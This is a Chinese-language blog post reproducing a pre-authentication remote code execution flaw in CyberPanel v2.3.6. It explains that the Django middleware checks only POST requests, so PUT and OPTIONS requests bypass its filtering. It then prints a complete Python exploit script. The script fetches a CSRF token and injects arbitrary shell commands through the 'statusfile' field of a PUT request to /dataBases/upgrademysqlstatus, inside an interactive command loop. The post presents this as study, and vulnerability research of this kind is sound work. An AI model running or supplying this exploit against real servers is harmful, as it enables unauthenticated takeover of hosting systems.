过程

偶然发现What Are My OPTIONS? CyberPanel v2.3.6 pre-auth RCE

于是乎抱着学习的心态,进行测试,根据cyberpanel文档说明,搭建本地环境进行漏洞复现

CyberPanel 是一个使用 Django 框架的 Web 应用程序,主要用于管理 VPS 上的各种服务。

首先进入主页时,只有登录功能,通过查阅文档,发现以下信息

Django 中处理 HTTP 请求 body 的方式

在 Django 中,每个请求对象(request)都有一个 body 属性,存储了请求的原始内容。根据 Django 的文档说明,body 属性会捕获传入的原始请求数据,而这个数据并不区分请求方法。无论是 POST 还是 PUT 请求,只要发送了 body,Django 都能处理。

通过测试,发现中间件仅对 POST 请求进行字符过滤和安全检查 → 其他 HTTP 方法(PUT、PATCH、OPTIONS)没有被过滤 → 利用这一逻辑缺陷,绕过中间件安全检查。

image-20241029115013514

image-20241029135649023

image-20241029135825857

image-20241029140422397

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import httpx 
import sys

def get_CSRF_token(client):
resp = client.get("/")

return resp.cookies['csrftoken']

def pwn(client, CSRF_token, cmd):
headers = {
"X-CSRFToken": CSRF_token,
"Content-Type":"application/json",
"Referer": str(client.base_url)
}

payload = '{"statusfile":"/dev/null; %s; #","csrftoken":"%s"}' % (cmd, CSRF_token)

return client.put("/dataBases/upgrademysqlstatus", headers=headers, data=payload).json()["requestStatus"]

def exploit(client, cmd):
CSRF_token = get_CSRF_token(client)
stdout = pwn(client, CSRF_token, cmd)
print(stdout)

if __name__ == "__main__":
target = sys.argv[1]

client = httpx.Client(base_url=target, verify=False)
while True:
cmd = input("$> ")

exploit(client, cmd)

© Rabbit 使用 Stellar 创建

✨ 营业:

共发表 56 篇Blog 🔸 总计 123.6k